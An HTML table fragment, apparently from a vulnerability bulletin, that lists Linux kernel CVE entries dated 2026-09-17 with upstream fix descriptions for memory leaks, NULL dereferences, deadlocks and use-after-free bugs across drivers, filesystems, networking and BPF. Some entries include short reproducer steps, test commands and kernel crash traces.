&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: rtc: pcf8563: fix clock provider leak on unbind pcf8563_clkout_register_clk() registers the CLKOUT clock provider with of_clk_add_provider(), but nothing ever unwinds it: there is no of_clk_del_provider() call and the driver has no remove callback. Each of_clk_add_provider() allocates a struct of_clk_provider, takes a reference on the OF node and adds an entry to the global of_clk_providers list, none of which is released when the device is unbound. Every bind/unbind (or module reload) therefore leaks a provider structure and an of_node reference. The clock itself is already device-managed (devm_clk_register()); only the provider registration was not. Use devm_of_clk_add_hw_provider() so the provider is removed automatically on unbind. Tie it to the parent i2c device, whose OF node carries the #clock-cells and clock-output-names properties (the RTC class device has no OF node of its own).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90126&quot; target=&quot;_blank&quot;&gt;CVE-2026-90126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio: rtc: time out alarm requests RTC class operations run with rtc_device.ops_lock held. The virtio RTC alarm requests currently wait without a timeout for the device to return their requestq buffers. On surprise removal, virtio-pci marks the virtqueues broken before unregistering the virtio device. If an alarm request is waiting when the device stops responding, viortc_remove() blocks in viortc_class_stop() while trying to acquire ops_lock. The request cannot complete and device removal hangs until the waiting task is signalled. Use the same 60-second timeout as clock read requests for alarm reads, alarm programming, and alarm interrupt enable requests. The existing message reference counting keeps a timed-out request alive until a late response or device teardown.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90127&quot; target=&quot;_blank&quot;&gt;CVE-2026-90127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vdpa/mlx5: fix wrong list iterated in add_direct_chain error path In add_direct_chain(), newly allocated direct MR entries are added to the local list &#039;tmp&#039;, which is spliced into mr-&amp;gt;head only on success. On the error path, the cleanup loop was incorrectly iterating over mr-&amp;gt;head instead of tmp. Fix by iterating over &#039;tmp&#039; in the err_alloc cleanup path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90128&quot; target=&quot;_blank&quot;&gt;CVE-2026-90128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio_balloon: quiesce balloon work before device shutdown Commit 8bd2fa086a04 (&quot;virtio: break and reset virtio devices on device_shutdown()&quot;) added a generic virtio bus .shutdown handler that breaks and resets every virtio device during device_shutdown(), i.e. on reboot and kexec. virtio_balloon provides no .shutdown of its own, so that generic path runs while the balloon&#039;s asynchronous work is still armed. Once the device has been broken, virtqueue_add_inbuf() in virtballoon_free_page_report() returns -EIO and trips its WARN_ON_ONCE(). On a kernel booted with panic_on_warn that turns an ordinary reboot, for example a kexec based upgrade, into a fatal panic in the middle of device_shutdown(), so the machine never reaches the new kernel. Relaxing that single WARN_ON_ONCE() would only hide the symptom: the inflate/deflate and OOM paths do not warn, they call wait_event(vb-&amp;gt;acked, ...) and would instead block forever on a broken queue that can no longer complete. The device has to be quiesced, not just kept quiet. Add a .shutdown handler that quiesces the balloon via the shared virtballoon_quiesce() helper while the device is still alive, and only then breaks and resets it via virtio_device_shutdown(). Unlike virtballoon_remove() the balloon workqueue is not destroyed, as shutdown does not free the device and cancel_work_sync() together with stop_update already prevent any further work from being queued.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90129&quot; target=&quot;_blank&quot;&gt;CVE-2026-90129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vdpa_sim: fix cleanup after worker creation failure vdpasim_create() leaves vdpasim-&amp;gt;worker as an ERR_PTR when kthread_run_worker() fails. The error path then drops the device reference, which releases the partially initialized simulator. vdpasim_free() unconditionally passes the worker pointer to kthread_destroy_worker(), so the ERR_PTR is dereferenced and can trigger a general protection fault. Store the worker error, clear the pointer, and only clean up the worker when it was successfully initialized. Also make the release path tolerate partially initialized objects by guarding virtqueue and IOTLB cleanup, since the same release path can be reached from other initialization failures. I found this bug myself, though the patch was written with AI assistance.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90130&quot; target=&quot;_blank&quot;&gt;CVE-2026-90130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: fix kmap_local_page() usage in compress Several compressed I/O paths discard the address returned by kmap_local_page() and later access or unmap the page using page_address(). This is invalid for highmem pages, and local mappings must also be unmapped using the address returned by kmap_local_page(). Map each destination page in ntfs_decompress() only while producing the current sub-block. Use memcpy_from_page(), memcpy_to_page(), and memzero_page() for the other page accesses. Remove unnecessary local mappings from ntfs_write_cb(), where pages are accessed through the vmap() mapping.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90134&quot; target=&quot;_blank&quot;&gt;CVE-2026-90134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: add missing ref_tracker_dir_exit() to alloc_netdev_mqs() sashiko is reporting that trying to read /sys/kernel/debug/ref_tracker/* causes use-afer-free crash when either alloc_percpu() or dev_addr_init() in alloc_netdev_mqs() failed, for commit 4d92b95ff2f9 (&quot;net: add net device refcount tracker infrastructure&quot;) added ref_tracker_dir_exit() to only free_netdev() path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90135&quot; target=&quot;_blank&quot;&gt;CVE-2026-90135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86/amd/hsmp: Reject negative power cap writes in hwmon hsmp_hwmon_write() takes the user-supplied hwmon value as a signed long and assigns &quot;val / MICROWATT_PER_MILLIWATT&quot; to msg.args[0], which is a __u32. MICROWATT_PER_MILLIWATT is an unsigned long, so a negative write to power1_cap (e.g. &quot;echo -1 &amp;gt; power1_cap&quot;) is first converted to a huge unsigned value by the division and then stored into the u32 argument. As a result a nonsensical, multi-gigawatt socket power limit is sent to the SMU via HSMP_SET_SOCKET_POWER_LIMIT instead of the write being rejected. Reject negative values with -EINVAL before the conversion. Tested with HSMP enabled: CAP=$(dirname $(grep -l amd_hsmp_hwmon \ /sys/class/hwmon/hwmon*/name | head -1))/power1_cap # negative write echo -1000000 &amp;gt; $CAP ; echo &quot;ret=$?&quot; # valid positive write must still work echo 400000000 &amp;gt; $CAP ; echo &quot;ret=$?&quot; Before: # echo -1000000 &amp;gt; $CAP ; echo &quot;ret=$?&quot; ret=0 &amp;lt;- accepted; bogus limit sent to SMU # echo 400000000 &amp;gt; $CAP ; echo &quot;ret=$?&quot; ret=0 After: # echo -1000000 &amp;gt; $CAP ; echo &quot;ret=$?&quot; bash: echo: write error: Invalid argument ret=1 &amp;lt;- rejected with -EINVAL # echo 400000000 &amp;gt; $CAP ; echo &quot;ret=$?&quot; ret=0 &amp;lt;- valid write still works&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90136&quot; target=&quot;_blank&quot;&gt;CVE-2026-90136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vsock: don&#039;t check the listener&#039;s sk_err in vsock_accept() Syzbot reported an issue which can be reproduced with these steps: r0 = socket(AF_VSOCK, SOCK_STREAM, 0) bind(r0, {VMADDR_CID_ANY, PORT}) connect(r0, {VMADDR_CID_LOCAL, PORT}) -&amp;gt; -1, EPROTO (self-connect) listen(r0, backlog) -&amp;gt; 0 r1 = socket(AF_VSOCK, SOCK_STREAM, 0) connect(r1, {VMADDR_CID_LOCAL, PORT}) -&amp;gt; 0 accept(r0) -&amp;gt; -1, EPROTO (stale sk_err) Basically, it creates a socket (r0) and triggers a self-connect after binding it. This self-connect fails with EPROTO because it loops back to r0 while the socket is still in the TCP_SYN_SENT state, causing it to be incorrectly dispatched to the connecting-client path. The unexpected packet type encountered there sets sk_err to EPROTO. After that, it invokes a listen() call on the same socket. This listen() call succeeds because the kernel&#039;s listening path never inspects or clears sk_err. Then, a new socket (r1) is created as a normal client and connects to r0. However, vsock_accept() rejects this incoming connection because the listener&#039;s sk_err still holds the EPROTO error from the earlier failed self-connect. This rejection causes the child socket created for r1&#039;s connection to never be freed on virtio or hyperv transports; only the VMCI transport implements pending_work to revisit and clean up a rejected socket. For a non-blocking connect(), vsock_connect() may return -EINPROGRESS immediately, and vsock_connect_timeout() can later set sk-&amp;gt;sk_err asynchronously. Since no vsock transport ever sets sk_err on a socket while it is in TCP_LISTEN state, checking it in vsock_accept() serves no purpose and only carries forward errors left behind by earlier, unrelated connection attempts on the same socket. Remove the checks so accept() no longer rejects valid incoming connections because of a stale error, which also avoids the resource leak described above.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90138&quot; target=&quot;_blank&quot;&gt;CVE-2026-90138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fuse: check for NULL root inode in fuse_fill_super_submount fuse_iget() can return NULL when its inode allocation fails, but fuse_fill_super_submount() passed the result straight to get_fuse_inode() and decremented fi-&amp;gt;nlookup without checking it: root = fuse_iget(sb, parent_fi-&amp;gt;nodeid, ...); fi = get_fuse_inode(root); fi-&amp;gt;nlookup--; Inside fuse_iget() the inode allocation can fail and return NULL. The submount root takes the iget5_locked() path, whose alloc_inode() can fail under memory pressure (the auto-submount branch can fail the same way in new_inode() or fuse_alloc_submount_lookup()): inode = iget5_locked(sb, nodeid, fuse_inode_eq, fuse_inode_set, &amp;amp;nodeid); if (!inode) return NULL; A NULL root makes get_fuse_inode() a container_of() on NULL and the nlookup decrement a write to a bogus address, oopsing the mount. With CONFIG_KASAN the following null pointer dereference is reported when the root inode allocation of an auto-submount fails (e.g. under memory pressure): ================================================================== BUG: KASAN: null-ptr-deref in fuse_get_tree_submount+0x656/0x8b0 Read of size 8 at addr 00000000000002b0 by task ls/942 CPU: 0 PID: 942 Comm: ls Tainted: G W 6.6 #15 Call Trace: &amp;lt;TASK&amp;gt; fuse_get_tree_submount+0x656/0x8b0 vfs_get_tree+0x48/0x140 fc_mount+0x13/0x50 fuse_dentry_automount+0x7a/0xb0 __traverse_mounts+0xca/0x330 step_into+0x339/0xac0 path_lookupat+0xc5/0x2f0 filename_lookup+0x163/0x2a0 vfs_statx+0xd5/0x200 do_statx+0x83/0xd0 __x64_sys_statx+0xa0/0xc0 do_syscall_64+0x37/0x90 entry_SYSCALL_64_after_hwframe+0x78/0xe2 &amp;lt;/TASK&amp;gt; ================================================================== Return -ENOMEM instead; the caller tears down the partially built superblock on error, matching the other error returns in this function.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90139&quot; target=&quot;_blank&quot;&gt;CVE-2026-90139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cuse: wait for pending RCU callbacks on module exit Since commit 053fc4f755ad (&quot;fuse: fix UAF in rcu pathwalks&quot;), fuse_conn_put() frees the fuse_conn through call_rcu() rather than synchronously. For cuse, fc-&amp;gt;release is cuse_fc_release(), which lives in the cuse module. If the module is removed before the RCU grace period ends, the callback jumps into freed module memory: userspace / module unload | RCU softirq ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ close(/dev/cuse) | cuse_channel_release() | fuse_dev_release() | fuse_conn_put(fch-&amp;gt;conn) | call_rcu(delayed_release) ------+---&amp;gt; callback queued | rmmod cuse | cuse_exit() | cuse_channel_destroy() | ... | return | | &amp;lt;module text freed&amp;gt; | | rcu_do_batch() | delayed_release() | fc-&amp;gt;release() | -&amp;gt; cuse_fc_release() | ^^^ freed text! The freed module text is unmapped by vfree(), so the jump into the stale callback triggers a page-fault Oops. If the virtual address is subsequently reused, the callback could execute unrelated code (undefined behaviour). Fix this by calling rcu_barrier() in cuse_exit() so that any pending fuse_conn release callback completes before the module is removed.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90140&quot; target=&quot;_blank&quot;&gt;CVE-2026-90140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dpll: fix NULL deref in dpll_device_ops() during teardown race When the last owner of a dpll device unregisters while a foreign driver still holds a pin on it via dpll_pin_on_pin_register(), the dpll object stays alive with an empty registration list. A pin notification queued before the unregister (e.g. ice reacting to zl3073x_i2c removal) then walks pin-&amp;gt;dpll_refs into dpll_device_ops(), which trips the WARN_ON and dereferences the missing registration. dpll_lock cannot help because the notification work was queued before the unregistering driver took the lock. Treat the empty registration list as a legitimate transient state. Make dpll_priv() and dpll_device_ops() return NULL in that case and make every pin netlink path that resolves a device from a pin skip such dplls. dpll_cmd_pin_get_one() picks a ref with a live registration and returns -ENODEV when there is none, the pin dumpit skips such a pin instead of aborting the dump, dpll_msg_add_pin_dplls() and the frequency, esync, reference sync and phase adjust set paths skip dead refs, and dpll_pin_parent_device_set() validates the parent with dpll_device_get_by_id(). dpll_pin_register() is the last caller that dereferenced the device ops without a check, so move its frequency monitor validation under dpll_lock and tolerate a missing registration there as well. The empty registration list is equivalent to a cleared DPLL_REGISTERED mark, both transitions happen under dpll_lock in dpll_device_register() and dpll_device_unregister(). A pin notification for a pin whose dplls are all gone is now dropped with -ENODEV instead of crashing, all callers in the core ignore that return value. WARNING: drivers/dpll/dpll_core.c:1092 at dpll_device_ops+0x24/0x40, CPU#83: kworker/u576:3/23471 Modules linked in: ... ice ... zl3073x_i2c(-) ... zl3073x ... Workqueue: ice_dpll_wq ice_dpll_pin_notify_work [ice] RIP: 0010:dpll_device_ops+0x24/0x40 Call Trace: &amp;lt;TASK&amp;gt; dpll_cmd_pin_get_one+0x336/0x520 dpll_pin_event_send+0x82/0x140 dpll_pin_on_pin_unregister+0xbb/0x160 ice_dpll_pin_notify_work+0x1bc/0x1f0 [ice] process_one_work+0x19e/0x370 worker_thread+0x1a6/0x310 kthread+0xe4/0x120 ret_from_fork+0x1a1/0x270 ret_from_fork_asm+0x1a/0x30 &amp;lt;/TASK&amp;gt; ---[ end trace 0000000000000000 ]--- BUG: kernel NULL pointer dereference, address: 0000000000000010 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90144&quot; target=&quot;_blank&quot;&gt;CVE-2026-90144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clk: devres: fix cleanup in devm_clk_get_optional_enabled_with_rate() devm_clk_get_optional_enabled_with_rate() registers its cleanup action before setting the clock rate. If setting the rate fails, it attempts to disable and unprepare a clock that was never enabled. This issue was spotted while reviewing &quot;rust: clk: add devres-managed clks&quot; [1]. Register the cleanup action only after successfully preparing and enabling the clock. [1]: https://lore.kernel.org/rust-for-linux/20260706-clk-type-state-v5-3-67c5f326a16c@collabora.com&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90147&quot; target=&quot;_blank&quot;&gt;CVE-2026-90147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSv4: Fix incorrect argument passed to nfs4_delete_lease() in nfs4_add_lease() When nfs4_add_lease() races with a delegation return, it calls nfs4_delete_lease() to clean up. Previously, it passed priv, which can legitimately be NULL. Passing a NULL priv eventually leads to a NULL pointer dereference in generic_setlease().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90148&quot; target=&quot;_blank&quot;&gt;CVE-2026-90148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pnfs/blocklayout: Fix device leaks on parse failure bl_parse_concat() and bl_parse_stripe() allocate a child device array and then parse each child in turn. If parsing a child fails, the failed child is not counted in nr_children and the parent may be left with a children array that bl_free_device() will not release when nr_children is zero. Release the failed child and the already parsed children before returning the error. Also make bl_free_device() release the child array whenever the children pointer is set, so that partially initialised concat or stripe devices are cleaned up correctly. bl_parse_scsi() can also fail after assigning d-&amp;gt;bdev_file and dropping the file reference. Clear the pointer after fput() so that an outer cleanup path does not put it again.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90150&quot; target=&quot;_blank&quot;&gt;CVE-2026-90150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/server: fix session leak in ksmbd_session_register() See the procedure below: smb2_sess_setup ksmbd_smb2_session_create __session_create atomic_set(&amp;amp;sess-&amp;gt;refcnt, 2) hash_add(sessions_table, &amp;amp;sess-&amp;gt;hlist, sess-&amp;gt;id) ksmbd_session_register xa_store(&amp;amp;conn-&amp;gt;sessions, sess-&amp;gt;id, sess) // fail ksmbd_user_session_put atomic_dec(&amp;amp;sess-&amp;gt;refcnt) // refcnt is 1, session is not freed Remove the session from sessions_table and drop its table reference if xa_store() fails.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90152&quot; target=&quot;_blank&quot;&gt;CVE-2026-90152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: scope session state changes to bound connections ksmbd_all_conn_set_status() treats every connection whose transient binding flag is set as belonging to the target SessionId. A logoff or session replacement can consequently move an unrelated connection to NEED_RECONNECT or NEED_SETUP. Pass the target session itself and select connections using either the connection-local session xarray or the session&#039;s permanent channel list. Use the same association test while waiting for requests to drain. Serialize session-wide status changes under request_lock and do not overwrite EXITING or RELEASING. Protect the shutdown transition with the same lock so a concurrent session update cannot revive a closing connection.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90154&quot; target=&quot;_blank&quot;&gt;CVE-2026-90154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: detach blocked lock requests before freeing A file_lock retained by ksmbd for byte-range lock bookkeeping can still be part of the VFS blocked-request graph. In particular, the VFS can chain a new waiter below an already blocked request through flc_blocked_requests. The ksmbd_file reference count does not cover that graph. Both __ksmbd_close_fd() and the cross-request unlock path free these retained file_lock objects directly. If a dependent waiter is still attached, locks_release_private() hits BUG_ON(!list_empty(&amp;amp;flc-&amp;gt;flc_blocked_requests)). The same lifetime mismatch can leave a freed ksmbd_lock reachable through its request-local llist. Detach the file_lock from the blocked-request graph before freeing it in the close, cross-request unlock, and rollback paths. locks_delete_block() also wakes requests chained below the object. Remove llist when a completed lock is published so a globally visible ksmbd_lock no longer points into the submitting worker&#039;s stack.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90155&quot; target=&quot;_blank&quot;&gt;CVE-2026-90155&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: safely discard unregistered deferred locks When vfs_lock_file() defers a lock, smb2_lock() puts its ksmbd_lock on rollback_list before allocating and registering the asynchronous work. If either operation fails, rollback assumes that smb_lock-&amp;gt;conn is initialized and dereferences NULL. The deferred file_lock also remains linked into the VFS blocked-lock state while it is freed. Keep the lock off rollback_list until async setup succeeds. On setup failures, explicitly unblock and wake the deferred lock before freeing it and its ksmbd wrapper.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90156&quot; target=&quot;_blank&quot;&gt;CVE-2026-90156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject negative optlen in cgroup getsockopt hook A cgroup getsockopt BPF program can shrink ctx-&amp;gt;optlen after the kernel getsockopt handler has run. The kernel-buffer variant, used by TCP_ZEROCOPY_RECEIVE, only rejects values larger than the original length. If BPF writes a negative optlen, that value is accepted and propagated back to the TCP getsockopt code. It can then be passed to copy_to_sockptr() as a size_t and trigger the hardened usercopy bytes &amp;gt; INT_MAX warning. Reject negative ctx.optlen in __cgroup_bpf_run_filter_getsockopt_kern(), matching the lower-bound validation already present in the sockptr-based getsockopt hook.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90157&quot; target=&quot;_blank&quot;&gt;CVE-2026-90157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: m68k: nfcon: Do not call console_is_registered() in nfcon_device() Since 7c2af0f634f1 (&quot;tty: tty_io: use console_list_lock for list synchronization&quot;) show_cons_active() calls the .device() method under the console_list_lock, but console_is_registered() tries to acquire console_list_lock as well, causing a deadlock. It should not be necessary to check console_is_registered() here since the function should not be called in the fist place when the console is not registered.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90158&quot; target=&quot;_blank&quot;&gt;CVE-2026-90158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Disallow bpf_{g,s}etsockopt() in cgroup UNIX getname hooks _bpf_setsockopt() and _bpf_getsockopt() call sock_owned_by_me() for full sockets, so these helpers expect the socket lock to be held. BPF_CGROUP_UNIX_GETPEERNAME and BPF_CGROUP_UNIX_GETSOCKNAME run BPF programs without acquiring the socket lock. A program attached to either hook can therefore trigger the sock_owned_by_me() warning by calling bpf_setsockopt() or bpf_getsockopt(). Disallow bpf_setsockopt() and bpf_getsockopt() for CGROUP_UNIX_GETPEERNAME and CGROUP_UNIX_GETSOCKNAME.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90159&quot; target=&quot;_blank&quot;&gt;CVE-2026-90159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: lwt_bpf: Restore reserved headroom after xmit program ip_finish_output2() expands an skb to LL_RESERVED_SPACE(dev) before LWT xmit. An LWT_XMIT BPF program can then modify the skb head and still return BPF_OK, so bpf_xmit() rechecks the remaining headroom before the skb continues to neighbour output. That recheck uses dst-&amp;gt;dev-&amp;gt;hard_header_len. This is not enough for the neighbour cached-header path: neigh_hh_output() copies the cached hardware header using the aligned hh_cache size, HH_DATA_MOD for short headers or HH_DATA_ALIGN(hh_len) otherwise. On Ethernet, hard_header_len is 14 but the cached copy needs 16 bytes. If an LWT_XMIT BPF program calls bpf_skb_change_head(skb, 1, 0), the skb can still have 15 bytes of headroom after the program. The existing check accepts that, after which neigh_hh_output() hits its headroom warning and drops the skb. Use LL_RESERVED_SPACE(dst-&amp;gt;dev) in the post-BPF headroom check to match the reservation made before LWT xmit.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90160&quot; target=&quot;_blank&quot;&gt;CVE-2026-90160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/server: call ksmbd_proc_cleanup() on module init failure When a later initializer fails, the unwind chain releases resources created after procfs and then jumps directly to class_unregister(). Returning an error from module_init() leaves the proc tree and its per-CPU counters allocated.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90163&quot; target=&quot;_blank&quot;&gt;CVE-2026-90163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
